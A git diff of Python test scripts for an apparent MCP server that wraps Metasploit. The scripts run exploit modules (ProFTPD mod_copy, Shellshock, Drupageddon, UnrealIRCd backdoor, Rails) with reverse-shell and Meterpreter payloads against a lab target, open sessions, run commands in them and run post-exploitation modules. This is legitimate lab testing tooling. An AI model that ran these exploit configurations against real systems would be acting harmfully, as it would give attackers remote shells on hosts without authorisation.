"failed to load" in msg + or "failed to load" in output + or "failed to load" in check_output + ): return True, "Early exit detected 'Failed to load module' error" # Also accept "not found" as valid validation if "not found" in msg: return True, "Module validation caught non-existent module" - return False, f"Expected error for failed module load, got: {result.get('status')} - {result.get('message', '')}" - + return ( + False, + f"Expected error for failed module load, got: {result.get('status')} - {result.get('message', '')}", + ) + # Use a module that might not exist or fail to load return await self._run_test( tool_name="run_exploit", @@ -716,38 +728,43 @@ def validate(result): "payload_options": {"LHOST": self.lhost, "LPORT": 4444}, "run_as_job": False, "check_vulnerability": True, - "timeout_seconds": 60 + "timeout_seconds": 60, }, expected_status="error", - validate_fn=validate + validate_fn=validate, ) - + async def test_list_listeners_initial(self) -> TestResult: """Test 7: list_listeners (initial state).""" + def validate(result): if result.get("status") == "success": - return True, f"Handlers: {result.get('handler_count', 0)}, Other: {result.get('other_job_count', 0)}" + return ( + True, + f"Handlers: {result.get('handler_count', 0)}, Other: {result.get('other_job_count', 0)}", + ) return False, f"List listeners failed: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="list_listeners", test_name="List active listeners (initial)", tool_args={}, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_start_listener(self) -> TestResult: """Test 8: start_listener.""" + def validate(result): if result.get("status") == "success": if "job_id" in result or "job" in str(result.get("message", "")).lower(): return True, f"Listener started: {result.get('message', '')}" return False, f"Start listener failed: {result.get('message', 'unknown')}" - + # Use a different port to avoid conflicts with exploit tests listener_port = self.lport + 1 - + return await self._run_test( tool_name="start_listener", test_name=f"Start standalone listener on port {listener_port}", @@ -755,42 +772,42 @@ def validate(result): "payload_type": "cmd/unix/reverse_perl", "lhost": self.lhost, "lport": listener_port, - "exit_on_session": True + "exit_on_session": True, }, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_stop_job(self) -> TestResult: """Test 9: stop_job (stop the listener we just created).""" # First get the job ID from list_listeners try: listeners_result = await self.mcp_client.call_tool("list_listeners", {}) parsed = self._parse_result(listeners_result) - + handlers = parsed.get("handlers", {}) if not handlers: return TestResult( tool_name="stop_job", test_name="Stop a job", status=TestStatus.SKIPPED, - message="No handlers found to stop" + message="No handlers found to stop", ) - + # Get first handler job ID job_id = int(list(handlers.keys())[0]) - + def validate(result): if result.get("status") == "success": return True, f"Job {job_id} stopped" return False, f"Stop job failed: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="stop_job", test_name=f"Stop job {job_id}", tool_args={"job_id": job_id}, expected_status="success", - validate_fn=validate + validate_fn=validate, ) except Exception as e: return TestResult( @@ -798,46 +815,49 @@ def validate(result): test_name="Stop a job", status=TestStatus.FAILED, message=str(e), - error=traceback.format_exc() + error=traceback.format_exc(), ) - + async def test_generate_payload(self) -> TestResult: """Test 10: generate_payload.""" + def validate(result): if result.get("status") == "success": if "server_save_path" in result: return True, f"Payload saved to: {result.get('server_save_path')}" return False, f"Generate payload failed: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="generate_payload", test_name="Generate reverse perl payload", tool_args={ "payload_type": "cmd/unix/reverse_perl", "format_type": "raw", - "options": {"LHOST": self.lhost, "LPORT": self.lport + 2000} + "options": {"LHOST": self.lhost, "LPORT": self.lport + 2000}, }, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_kill_all_handler_jobs(self) -> TestResult: """Test 11: kill_all_handler_jobs (cleanup before exploit tests).""" + def validate(result): if result.get("status") in ["success", "warning"]: return True, f"Handlers killed: {result.get('handlers_killed', 0)}" return False, f"Kill handlers failed: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="kill_all_handler_jobs", test_name="Kill all handler jobs (cleanup)", tool_args={}, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_run_exploit_rpc_job_mode(self) -> TestResult: """Test 12: run_exploit in RPC job mode.""" + def validate(result): status = result.get("status") if status == "success": @@ -849,7 +869,7 @@ def validate(result): elif status in ["warning", "aborted"]: return True, f"Exploit result: {result.get('message', '')}" return False, f"Exploit failed: {result.get('message', 'unknown')}" - + # ProFTPD ModCopy exploit in RPC job mode return await self._run_test( tool_name="run_exploit", @@ -862,22 +882,20 @@ def validate(result): "RPORT_FTP": 21, "SITEPATH": "/var/www/html/", "TARGETURI": "/", - "TMPPATH": "/tmp" + "TMPPATH": "/tmp", }, "payload_name": "cmd/unix/reverse_perl", - "payload_options": { - "LHOST": self.lhost, - "LPORT": self.lport - }, + "payload_options": {"LHOST": self.lhost, "LPORT": self.lport}, "run_as_job": True, - "check_vulnerability": False + "check_vulnerability": False, }, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_check_exploit_rpc_job_mode(self) -> TestResult: """Test 12: check_exploit in RPC job mode.""" + def validate(result): status = result.get("status") if status == "success": @@ -886,7 +904,7 @@ def validate(result): elif status in ["warning", "aborted"]: return True, f"Exploit result: {result.get('message', '')}" return False, f"Exploit failed: {result.get('message', 'unknown')}" - + # ProFTPD ModCopy exploit in RPC job mode return await self._run_test( tool_name="run_exploit", @@ -899,20 +917,20 @@ def validate(result): "RPORT_FTP": 21, "SITEPATH": "/var/www/html/", "TARGETURI": "/", - "TMPPATH": "/tmp" + "TMPPATH": "/tmp", }, "run_as_job": True, - "check_vulnerability": True + "check_vulnerability": True, }, expected_status="success", - validate_fn=validate + validate_fn=validate, ) async def test_list_active_sessions_after_exploit(self) -> TestResult: """Test 13: list_active_sessions after exploit.""" # Wait a moment for session to establish await asyncio.sleep(3) - + def validate(result): if result.get("status") == "success": sessions = result.get("sessions", {}) @@ -924,24 +942,24 @@ def validate(result): return True, f"Found {count} active session(s)" return True, "No active sessions (exploit may not have succeeded)" return False, f"List sessions failed: {result.get('message', 'unknown')}" - + result = await self._run_test( tool_name="list_active_sessions", test_name="List sessions after RPC exploit", tool_args={}, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + # Try to extract session ID for later tests if result.status == TestStatus.PASSED: sessions = result.details.get("sessions", {}) if sessions: self.current_session_id = int(list(sessions.keys())[0]) logger.info(f"Stored session ID for later tests: {self.current_session_id}") - + return result - + async def test_send_session_command(self) -> TestResult: """Test 14: send_session_command.""" if self.current_session_id is None: @@ -949,9 +967,9 @@ async def test_send_session_command(self) -> TestResult: tool_name="send_session_command", test_name="Send command to session", status=TestStatus.SKIPPED, - message="No active session available for testing" + message="No active session available for testing", ) - + def validate(result): if result.get("status") == "success": output = result.get("output", result.get("raw_output", "")) @@ -959,19 +977,19 @@ def validate(result): return True, f"Command output received ({len(output)} chars)" return True, "Command executed (no output)" return False, f"Command failed: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="send_session_command", test_name=f"Send 'id' command to session {self.current_session_id}", tool_args={ "session_id": self.current_session_id, "command": "id", - "timeout_seconds": 30 + "timeout_seconds": 30, }, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_terminate_session(self) -> TestResult: """Test 15: terminate_session.""" if self.current_session_id is None: @@ -979,36 +997,33 @@ async def test_terminate_session(self) -> TestResult: tool_name="terminate_session", test_name="Terminate session", status=TestStatus.SKIPPED, - message="No active session to terminate" + message="No active session to terminate", ) - + def validate(result): if result.get("status") in ["success", "warning"]: return True, f"Session terminated: {result.get('message', '')}" return False, f"Terminate failed: {result.get('message', 'unknown')}" - + result = await self._run_test( tool_name="terminate_session", test_name=f"Terminate session {self.current_session_id}", - tool_args={ - "session_id": self.current_session_id, - "kill_associated_job": True - }, + tool_args={"session_id": self.current_session_id, "kill_associated_job": True}, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + if result.status in [TestStatus.PASSED, TestStatus.WARNING]: self.current_session_id = None - + return result - + async def test_run_exploit_console_mode(self) -> TestResult: """Test 16: run_exploit in console mode.""" # Clean up first await self.mcp_client.call_tool("kill_all_handler_jobs", {}) await asyncio.sleep(2) - + def validate(result): status = result.get("status") if status == "success": @@ -1016,7 +1031,7 @@ def validate(result): elif status in ["warning", "aborted"]: return True, f"Exploit result: {result.get('message', '')}" return False, f"Exploit failed: {result.get('message', 'unknown')}" - + # ProFTPD ModCopy exploit in console mode return await self._run_test( tool_name="run_exploit", @@ -1029,43 +1044,43 @@ def validate(result): "RPORT_FTP": 21, "SITEPATH": "/var/www/html/", "TARGETURI": "/", - "TMPPATH": "/tmp" + "TMPPATH": "/tmp", }, "payload_name": "cmd/unix/reverse_perl", "payload_options": { "LHOST": self.lhost, - "LPORT": self.lport + 2 # Different port from RPC test + "LPORT": self.lport + 2, # Different port from RPC test }, "run_as_job": False, "check_vulnerability": True, - "timeout_seconds": 120 + "timeout_seconds": 120, }, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_run_post_module(self) -> TestResult: """Test 17: run_post_module (requires active session).""" # Check if we have a session sessions_result = await self.mcp_client.call_tool("list_active_sessions", {}) sessions = self._parse_result(sessions_result).get("sessions", {}) - + if not sessions: return TestResult( tool_name="run_post_module", test_name="Run post module", status=TestStatus.SKIPPED, - message="No active session for post-exploitation testing" + message="No active session for post-exploitation testing", ) - + session_id = int(list(sessions.keys())[0]) self.current_session_id = session_id - + def validate(result): if result.get("status") in ["success", "warning"]: return True, "Post module executed" return False, f"Post module failed: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="run_post_module", test_name=f"Run gather/checkvm on session {session_id}", @@ -1073,18 +1088,18 @@ def validate(result): "module_name": "linux/gather/checkvm", "session_id": session_id, "run_as_job": False, - "timeout_seconds": 60 + "timeout_seconds": 60, }, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def test_additional_exploit_shellshock(self) -> TestResult: """Test 18: Run Apache Shellshock exploit (console mode).""" # Clean up first await self.mcp_client.call_tool("kill_all_handler_jobs", {}) await asyncio.sleep(2) - + def validate(result): status = result.get("status") if status in ["success", "warning"]: @@ -1092,7 +1107,7 @@ def validate(result): elif status == "aborted": return True, f"Check aborted: {result.get('message', '')}" return False, f"Exploit failed: {result.get('message', 'unknown')}" - + return await self._run_test( tool_name="run_exploit", test_name="Run Apache Shellshock exploit", @@ -1101,51 +1116,48 @@ def validate(result): "options": { "RHOSTS": self.target_ip, "RPORT": 80, - "TARGETURI": "/cgi-bin/hello_world.sh" + "TARGETURI": "/cgi-bin/hello_world.sh", }, "payload_name": "linux/x86/meterpreter/reverse_tcp", - "payload_options": { - "LHOST": self.lhost, - "LPORT": self.lport + 200 - }, + "payload_options": {"LHOST": self.lhost, "LPORT": self.lport + 200}, "run_as_job": False, - "timeout_seconds": 120 + "timeout_seconds": 120, }, expected_status="success", - validate_fn=validate + validate_fn=validate, ) - + async def final_cleanup(self) -> TestResult: """Final cleanup: kill all sessions and handlers.""" # Terminate any remaining sessions sessions_result = await self.mcp_client.call_tool("list_active_sessions", {}) sessions = self._parse_result(sessions_result).get("sessions", {}) - + for session_id in sessions.keys(): try: - await self.mcp_client.call_tool("terminate_session", { - "session_id": int(session_id), - "kill_associated_job": True - }) + await self.mcp_client.call_tool( + "terminate_session", + {"session_id": int(session_id), "kill_associated_job": True}, + ) except Exception as e: logger.warning(f"Error terminating session {session_id}: {e}") - + # Kill all handler jobs await self.mcp_client.call_tool("kill_all_handler_jobs", {}) - + return TestResult( tool_name="cleanup", test_name="Final cleanup", status=TestStatus.PASSED, - message="Cleanup completed" + message="Cleanup completed", ) - + async def run_all_tests(self) -> List[TestResult]: """Run all comprehensive tests.""" logger.info(f"\n{'#'*80}") logger.info("COMPREHENSIVE METASPLOIT MCP TOOL TEST SUITE") logger.info(f"{'#'*80}\n") - + # Define test sequence tests = [ # self.test_health_check, @@ -1154,31 +1166,31 @@ async def run_all_tests(self) -> List[TestResult]: # self.test_list_payloads_by_platform, # self.test_list_payloads_for_exploit, self.test_list_payloads_proftpd_debug, - # self.test_describe_module_exploit, - # self.test_describe_module_payload, - # self.test_describe_module_auxiliary, - # self.test_get_module_documentation, - # self.test_run_auxiliary_module, - # self.test_run_auxiliary_module_invalid_module, # Module validation test - # self.test_run_auxiliary_module_failed_to_load, # Early exit detection test - # self.test_run_exploit_invalid_module, # Module validation test - # self.test_run_exploit_failed_to_load, # Early exit detection test - # self.test_list_listeners_initial, - # self.test_start_listener, - # self.test_stop_job, - # self.test_generate_payload, - # self.test_kill_all_handler_jobs, - # self.test_check_exploit_rpc_job_mode, - # self.test_run_exploit_rpc_job_mode, - # self.test_list_active_sessions_after_exploit, - # self.test_send_session_command, - # self.test_terminate_session, - # self.test_run_exploit_console_mode, - # self.test_run_post_module, - #self.test_additional_exploit_shellshock, - self.final_cleanup + # self.test_describe_module_exploit, + # self.test_describe_module_payload, + # self.test_describe_module_auxiliary, + # self.test_get_module_documentation, + # self.test_run_auxiliary_module, + # self.test_run_auxiliary_module_invalid_module, # Module validation test + # self.test_run_auxiliary_module_failed_to_load, # Early exit detection test + # self.test_run_exploit_invalid_module, # Module validation test + # self.test_run_exploit_failed_to_load, # Early exit detection test + # self.test_list_listeners_initial, + # self.test_start_listener, + # self.test_stop_job, + # self.test_generate_payload, + # self.test_kill_all_handler_jobs, + # self.test_check_exploit_rpc_job_mode, + # self.test_run_exploit_rpc_job_mode, + # self.test_list_active_sessions_after_exploit, + # self.test_send_session_command, + # self.test_terminate_session, + # self.test_run_exploit_console_mode, + # self.test_run_post_module, + # self.test_additional_exploit_shellshock, + self.final_cleanup, ] - + self.results = [] for i, test_fn in enumerate(tests, 1): logger.info(f"\n[Test {i}/{len(tests)}]") @@ -1187,32 +1199,34 @@ async def run_all_tests(self) -> List[TestResult]: self.results.append(result) except Exception as e: logger.error(f"Test crashed: {e}", exc_info=True) - self.results.append(TestResult( - tool_name=test_fn.__name__, - test_name="Test execution", - status=TestStatus.FAILED, - message=str(e), - error=traceback.format_exc() - )) - + self.results.append( + TestResult( + tool_name=test_fn.__name__, + test_name="Test execution", + status=TestStatus.FAILED, + message=str(e), + error=traceback.format_exc(), + ) + ) + # Brief pause between tests await asyncio.sleep(1) - + return self.results - + def print_summary(self): """Print test summary.""" logger.info(f"\n{'#'*80}") logger.info("TEST SUMMARY") logger.info(f"{'#'*80}\n") - + passed = sum(1 for r in self.results if r.status == TestStatus.PASSED) failed = sum(1 for r in self.results if r.status == TestStatus.FAILED) skipped = sum(1 for r in self.results if r.status == TestStatus.SKIPPED) warnings = sum(1 for r in self.results if r.status == TestStatus.WARNING) total = len(self.results) total_duration = sum(r.duration_seconds for r in self.results) - + logger.info(f"Total Tests: {total}") logger.info(f" ✓ Passed: {passed}") logger.info(f" ✗ Failed: {failed}") @@ -1221,27 +1235,31 @@ def print_summary(self): logger.info(f"Success Rate: {(passed / total * 100):.1f}%") logger.info(f"Total Duration: {total_duration:.2f}s") logger.info("") - + # Group by tool logger.info("Results by Tool:") logger.info("-" * 80) - + for result in self.results: status_icon = { TestStatus.PASSED: "✓", TestStatus.FAILED: "✗", TestStatus.WARNING: "⚠", - TestStatus.SKIPPED: "○" + TestStatus.SKIPPED: "○", }.get(result.status, "?") - - logger.info(f"{status_icon} [{result.status.value:7}] {result.tool_name}: {result.test_name}") - logger.info(f" Duration: {result.duration_seconds:.2f}s | {result.message[:60]}") - + + logger.info( + f"{status_icon} [{result.status.value:7}] {result.tool_name}: {result.test_name}" + ) + logger.info( + f" Duration: {result.duration_seconds:.2f}s | {result.message[:60]}" + ) + if result.error: logger.info(f" Error: {result.error[:100]}...") - + logger.info(f"\n{'#'*80}\n") - + async def cleanup(self): """Cleanup resources.""" await self.mcp_client.close() @@ -1265,65 +1283,55 @@ async def main(): # Verbose mode poetry run python scripts/comprehensive_tool_test.py --target 10.0.2.15 --lhost 10.0.2.4 --verbose - """ - ) - - parser.add_argument( - "--target", - required=True, - help="Target IP address (e.g., Metasploitable 3)" + """, ) + parser.add_argument( - "--lhost", - required=True, - help="Local IP address for reverse connections" + "--target", required=True, help="Target IP address (e.g., Metasploitable 3)" ) + parser.add_argument("--lhost", required=True, help="Local IP address for reverse connections") parser.add_argument( "--lport", type=int, default=4444, - help="Base local port for reverse connections (default: 4444)" + help="Base local port for reverse connections (default: 4444)", ) parser.add_argument( "--mcp-url", default="http://127.0.0.1:5555/mcp", - help="MetasploitMCP server URL (default: http://127.0.0.1:5555/mcp)" + help="MetasploitMCP server URL (default: http://127.0.0.1:5555/mcp)", ) parser.add_argument( "--gateway", action="store_true", - help="Connect via ExploitMCP gateway (prefixes tool names)" + help="Connect via ExploitMCP gateway (prefixes tool names)", ) - parser.add_argument( - "--verbose", - action="store_true", - help="Enable verbose debug logging" - ) - + parser.add_argument("--verbose", action="store_true", help="Enable verbose debug logging") + args = parser.parse_args() - + if args.verbose: logging.getLogger().setLevel(logging.DEBUG) - + tester = ComprehensiveToolTester( target_ip=args.target, lhost=args.lhost, lport=args.lport, mcp_url=args.mcp_url, - use_gateway=args.gateway + use_gateway=args.gateway, ) - + try: # Run all tests await tester.run_all_tests() - + # Print summary tester.print_summary() - + # Return exit code based on results failed_count = sum(1 for r in tester.results if r.status == TestStatus.FAILED) return 1 if failed_count > 0 else 0 - + except KeyboardInterrupt: logger.info("\n\nInterrupted by user") return 130 @@ -1336,6 +1344,3 @@ async def main(): if __name__ == "__main__": sys.exit(asyncio.run(main())) - - - diff --git a/scripts/multi_exploit_scenarios.py b/scripts/multi_exploit_scenarios.py index 06a0025..0007713 100644 --- a/scripts/multi_exploit_scenarios.py +++ b/scripts/multi_exploit_scenarios.py @@ -34,10 +34,7 @@ from langchain_mcp_adapters.client import MultiServerMCPClient # --- Configuration --- -logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s' -) +logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s") logger = logging.getLogger("multi_exploit_test") @@ -49,6 +46,7 @@ class ExploitMode(Enum): @dataclass class ExploitScenario: """Defines an exploit test scenario.""" + name: str description: str module: str @@ -56,12 +54,12 @@ class ExploitScenario: options: Dict[str, Any] expected_user: Optional[str] = None notes: Optional[str] = None - + def get_options_with_target(self, target_ip: str, lhost: str, lport: int) -> tuple: """Return module options and payload options with target info filled in.""" module_opts = {} payload_opts = {"LHOST": lhost, "LPORT": lport} - + for key, value in self.options.items(): if key in ["LHOST", "LPORT"]: payload_opts[key] = value @@ -74,17 +72,18 @@ def get_options_with_target(self, target_ip: str, lhost: str, lport: int) -> tup pass else: module_opts[key] = value - + # Ensure RHOSTS is set if "RHOSTS" not in module_opts: module_opts["RHOSTS"] = target_ip - + return module_opts, payload_opts @dataclass class ExploitResult: """Result of an exploit test.""" + scenario_name: str mode: ExploitMode success: bool @@ -109,113 +108,92 @@ class ExploitResult: "RPORT_FTP": 21, "SITEPATH": "/var/www/html/", "TARGETURI": "/", - "TMPPATH": "/tmp" + "TMPPATH": "/tmp", }, expected_user="www-data", - notes="FTP service exploit via mod_copy vulnerability" + notes="FTP service exploit via mod_copy vulnerability", ), ExploitScenario( name="Apache Shellshock", description="Apache mod_cgi Bash Environment Variable Injection (Shellshock)", module="multi/http/apache_mod_cgi_bash_env_exec", payload="linux/x86/meterpreter/reverse_tcp", - options={ - "RHOSTS": "$TARGET", - "RPORT": 80, - "TARGETURI": "/cgi-bin/hello_world.sh" - }, + options={"RHOSTS": "$TARGET", "RPORT": 80, "TARGETURI": "/cgi-bin/hello_world.sh"}, expected_user="www-data", - notes="Shellshock vulnerability in CGI scripts" + notes="Shellshock vulnerability in CGI scripts", ), ExploitScenario( name="Drupal Drupageddon", description="Drupal HTTP Parameter Key/Value SQL Injection", module="multi/http/drupal_drupageddon", payload="php/meterpreter/reverse_tcp", - options={ - "RHOSTS": "$TARGET", - "RPORT": 80, - "TARGETURI": "/drupal/" - }, + options={"RHOSTS": "$TARGET", "RPORT": 80, "TARGETURI": "/drupal/"}, expected_user="www-data", - notes="Drupal SQL injection leading to RCE" + notes="Drupal SQL injection leading to RCE", ), ExploitScenario( name="UnrealIRCd Backdoor", description="UnrealIRCd 3.2.8.1 Backdoor Command Execution", module="unix/irc/unreal_ircd_3281_backdoor", payload="cmd/unix/reverse", - options={ - "RHOSTS": "$TARGET", - "RPORT": 6697 - }, + options={"RHOSTS": "$TARGET", "RPORT": 6697}, expected_user="boba_fett", - notes="IRC service backdoor" + notes="IRC service backdoor", ), ExploitScenario( name="Ruby on Rails ActionPack", description="Ruby on Rails ActionPack Inline ERB Code Execution", module="multi/http/rails_actionpack_inline_exec", payload="ruby/shell_reverse_tcp", - options={ - "RHOSTS": "$TARGET", - "RPORT": 3500, - "TARGETURI": "/readme", - "TARGETPARAM": "os" - }, + options={"RHOSTS": "$TARGET", "RPORT": 3500, "TARGETURI": "/readme", "TARGETPARAM": "os"}, expected_user="chewbacca", - notes="Rails vulnerability on port 3500" + notes="Rails vulnerability on port 3500", ), ] class MultiExploitTester: """Tester for multiple exploit scenarios.""" - + def __init__( self, target_ip: str, lhost: str, base_lport: int = 4444, - mcp_url: str = "http://127.0.0.1:8085" + mcp_url: str = "http://127.0.0.1:8085", ): self.target_ip = target_ip self.lhost = lhost self.base_lport = base_lport self.mcp_url = mcp_url self.current_port = base_lport - + # MCP client setup - tools_config = { - "metasploit": { - "url": mcp_url, - "transport": "streamable_http" - } - } + tools_config = {"metasploit": {"url": mcp_url, "transport": "streamable_http"}} self.client = MultiServerMCPClient(tools_config) self._tools = None self.results: List[ExploitResult] = [] - + logger.info(f"Multi-Exploit Tester initialized") logger.info(f" Target: {target_ip}") logger.info(f" LHOST: {lhost}") logger.info(f" Base LPORT: {base_lport}") - + async def _ensure_tools_loaded(self): if self._tools is None: self._tools = await self.client.get_tools() logger.info(f"Loaded {len(self._tools)} tools") - + async def call_tool(self, tool_name: str, args: Dict[str, Any] = None) -> Any: """Call an MCP tool.""" await self._ensure_tools_loaded() - + tool = next((t for t in self._tools if t.name == tool_name), None) if not tool: raise Exception(f"Tool '{tool_name}' not found") - + return await tool.ainvoke(args or {}) - + def parse_result(self, result: Any) -> Dict[str, Any]: """Parse tool result.""" if isinstance(result, dict): @@ -226,45 +204,42 @@ def parse_result(self, result: Any) -> Dict[str, Any]: except json.JSONDecodeError: return {"raw": result} return {"raw": str(result)} - + def get_next_port(self) -> int: """Get next available port for testing.""" port = self.current_port self.current_port += 1 return port - + async def cleanup(self): """Cleanup all sessions and handlers.""" logger.info("Cleaning up sessions and handlers...") - + try: # Terminate all sessions sessions_result = await self.call_tool("list_active_sessions", {}) sessions = self.parse_result(sessions_result).get("sessions", {}) - + for session_id in sessions.keys(): try: - await self.call_tool("terminate_session", { - "session_id": int(session_id), - "kill_associated_job": True - }) + await self.call_tool( + "terminate_session", + {"session_id": int(session_id), "kill_associated_job": True}, + ) except Exception: pass - + # Kill all handler jobs await self.call_tool("kill_all_handler_jobs", {}) - + # Wait for ports to release await asyncio.sleep(2) - + except Exception as e: logger.warning(f"Cleanup error: {e}") - + async def run_exploit( - self, - scenario: ExploitScenario, - mode: ExploitMode, - lport: int + self, scenario: ExploitScenario, mode: ExploitMode, lport: int ) -> ExploitResult: """Run a single exploit scenario.""" logger.info(f"\n{'='*70}") @@ -274,66 +249,68 @@ async def run_exploit( logger.info(f"Payload: {scenario.payload}") logger.info(f"LPORT: {lport}") logger.info(f"{'='*70}") - + start_time = datetime.now() - + try: # Get options module_opts, payload_opts = scenario.get_options_with_target( self.target_ip, self.lhost, lport ) - + logger.info(f"Module options: {module_opts}") logger.info(f"Payload options: {payload_opts}") - + # Run the exploit - run_as_job = (mode == ExploitMode.RPC_JOB) - - result = await self.call_tool("run_exploit", { - "module_name": scenario.module, - "options": module_opts, - "payload_name": scenario.payload, - "payload_options": payload_opts, - "run_as_job": run_as_job, - "check_vulnerability": False, - "timeout_seconds": 120 - }) - + run_as_job = mode == ExploitMode.RPC_JOB + + result = await self.call_tool( + "run_exploit", + { + "module_name": scenario.module, + "options": module_opts, + "payload_name": scenario.payload, + "payload_options": payload_opts, + "run_as_job": run_as_job, + "check_vulnerability": False, + "timeout_seconds": 120, + }, + ) + parsed = self.parse_result(result) duration = (datetime.now() - start_time).total_seconds() - + status = parsed.get("status", "unknown") logger.info(f"Exploit result: {status}") logger.info(f"Message: {parsed.get('message', 'N/A')}") - + # Wait for session await asyncio.sleep(5) - + # Check for sessions sessions_result = await self.call_tool("list_active_sessions", {}) sessions = self.parse_result(sessions_result).get("sessions", {}) - + session_established = len(sessions) > 0 session_id = None user_info = None - + if session_established: session_id = int(list(sessions.keys())[0]) logger.info(f"✓ Session established: {session_id}") - + # Try to get user info try: - cmd_result = await self.call_tool("send_session_command", { - "session_id": session_id, - "command": "id", - "timeout_seconds": 30 - }) + cmd_result = await self.call_tool( + "send_session_command", + {"session_id": session_id, "command": "id", "timeout_seconds": 30}, + ) cmd_parsed = self.parse_result(cmd_result) user_info = cmd_parsed.get("output", cmd_parsed.get("raw_output", "")) logger.info(f"User info: {user_info[:100] if user_info else 'N/A'}") except Exception as e: logger.warning(f"Could not get user info: {e}") - + return ExploitResult( scenario_name=scenario.name, mode=mode, @@ -342,7 +319,7 @@ async def run_exploit( session_id=session_id, user_info=user_info, duration_seconds=duration, - details=parsed + details=parsed, ) else: logger.warning("⚠ No session established") @@ -352,13 +329,13 @@ async def run_exploit( success=(status == "success"), session_established=False, duration_seconds=duration, - details=parsed + details=parsed, ) - + except Exception as e: duration = (datetime.now() - start_time).total_seconds() logger.error(f"✗ Exploit failed: {e}") - + return ExploitResult( scenario_name=scenario.name, mode=mode, @@ -366,44 +343,41 @@ async def run_exploit( session_established=False, duration_seconds=duration, error=str(e), - details={"traceback": traceback.format_exc()} + details={"traceback": traceback.format_exc()}, ) - + async def run_scenario_both_modes(self, scenario: ExploitScenario) -> List[ExploitResult]: """Run a scenario in both RPC and console modes.""" results = [] - + # Test RPC job mode await self.cleanup() rpc_port = self.get_next_port() rpc_result = await self.run_exploit(scenario, ExploitMode.RPC_JOB, rpc_port) results.append(rpc_result) - + # Cleanup between modes await self.cleanup() await asyncio.sleep(3) - + # Test console mode console_port = self.get_next_port() console_result = await self.run_exploit(scenario, ExploitMode.CONSOLE, console_port) results.append(console_result) - + return results - + async def run_all_scenarios( - self, - scenarios: List[ExploitScenario] = None, - specific_scenario: str = None + self, scenarios: List[ExploitScenario] = None, specific_scenario: str = None ) -> List[ExploitResult]: """Run all exploit scenarios.""" - + scenarios_to_run = scenarios or EXPLOIT_SCENARIOS - + # Filter to specific scenario if requested if specific_scenario: scenarios_to_run = [ - s for s in scenarios_to_run - if specific_scenario.lower() in s.name.lower() + s for s in scenarios_to_run if specific_scenario.lower() in s.name.lower() ] if not scenarios_to_run: logger.error(f"No scenario matching: {specific_scenario}") @@ -411,99 +385,105 @@ async def run_all_scenarios( for s in EXPLOIT_SCENARIOS: logger.info(f" - {s.name}") return [] - + logger.info(f"\n{'#'*70}") logger.info("MULTI-EXPLOIT SCENARIO TEST") logger.info(f"{'#'*70}") logger.info(f"Testing {len(scenarios_to_run)} scenario(s)") logger.info(f"Each scenario tested in both RPC and Console modes") - + self.results = [] - + for i, scenario in enumerate(scenarios_to_run, 1): logger.info(f"\n{'#'*70}") logger.info(f"SCENARIO {i}/{len(scenarios_to_run)}: {scenario.name}") logger.info(f"{'#'*70}") - + scenario_results = await self.run_scenario_both_modes(scenario) self.results.extend(scenario_results) - + # Brief pause between scenarios await asyncio.sleep(2) - + # Final cleanup await self.cleanup() - + return self.results - + def print_summary(self): """Print test summary.""" logger.info(f"\n{'#'*70}") logger.info("TEST SUMMARY") logger.info(f"{'#'*70}\n") - + # Group results by scenario scenarios_tested = {} for result in self.results: if result.scenario_name not in scenarios_tested: scenarios_tested[result.scenario_name] = {} scenarios_tested[result.scenario_name][result.mode.value] = result - + # Count totals total_tests = len(self.results) successful = sum(1 for r in self.results if r.success) sessions = sum(1 for r in self.results if r.session_established) - + logger.info(f"Total Tests: {total_tests}") logger.info(f"Successful Executions: {successful}") logger.info(f"Sessions Established: {sessions}") logger.info(f"Success Rate: {(successful / total_tests * 100):.1f}%") logger.info(f"Session Rate: {(sessions / total_tests * 100):.1f}%") - + # Detailed results by scenario logger.info(f"\n{'='*70}") logger.info("DETAILED RESULTS BY SCENARIO") logger.info(f"{'='*70}") - + for scenario_name, modes in scenarios_tested.items(): logger.info(f"\n{scenario_name}:") - + for mode_name, result in modes.items(): - status = "✓ SESSION" if result.session_established else ( - "○ EXEC OK" if result.success else "✗ FAILED" + status = ( + "✓ SESSION" + if result.session_established + else ("○ EXEC OK" if result.success else "✗ FAILED") ) - + logger.info(f" {mode_name}: {status}") logger.info(f" Duration: {result.duration_seconds:.2f}s") - + if result.session_established: logger.info(f" Session ID: {result.session_id}") if result.user_info: logger.info(f" User: {result.user_info[:50]}...") - + if result.error: logger.info(f" Error: {result.error[:80]}...") - + # Summary table logger.info(f"\n{'='*70}") logger.info("QUICK REFERENCE TABLE") logger.info(f"{'='*70}") logger.info(f"{'Scenario':<30} {'RPC Mode':<15} {'Console Mode':<15}") logger.info("-" * 60) - + for scenario_name, modes in scenarios_tested.items(): rpc = modes.get("RPC Job Mode") console = modes.get("Console Mode") - - rpc_status = "SESSION" if (rpc and rpc.session_established) else ( - "OK" if (rpc and rpc.success) else "FAIL" + + rpc_status = ( + "SESSION" + if (rpc and rpc.session_established) + else ("OK" if (rpc and rpc.success) else "FAIL") ) - console_status = "SESSION" if (console and console.session_established) else ( - "OK" if (console and console.success) else "FAIL" + console_status = ( + "SESSION" + if (console and console.session_established) + else ("OK" if (console and console.success) else "FAIL") ) - + logger.info(f"{scenario_name:<30} {rpc_status:<15} {console_status:<15}") - + logger.info(f"\n{'#'*70}\n") @@ -521,9 +501,9 @@ async def main(): # List available scenarios poetry run python scripts/multi_exploit_scenarios.py --list-scenarios - """ + """, ) - + parser.add_argument("--target", help="Target IP address") parser.add_argument("--lhost", help="Local IP for reverse connections") parser.add_argument("--lport", type=int, default=4444, help="Base local port 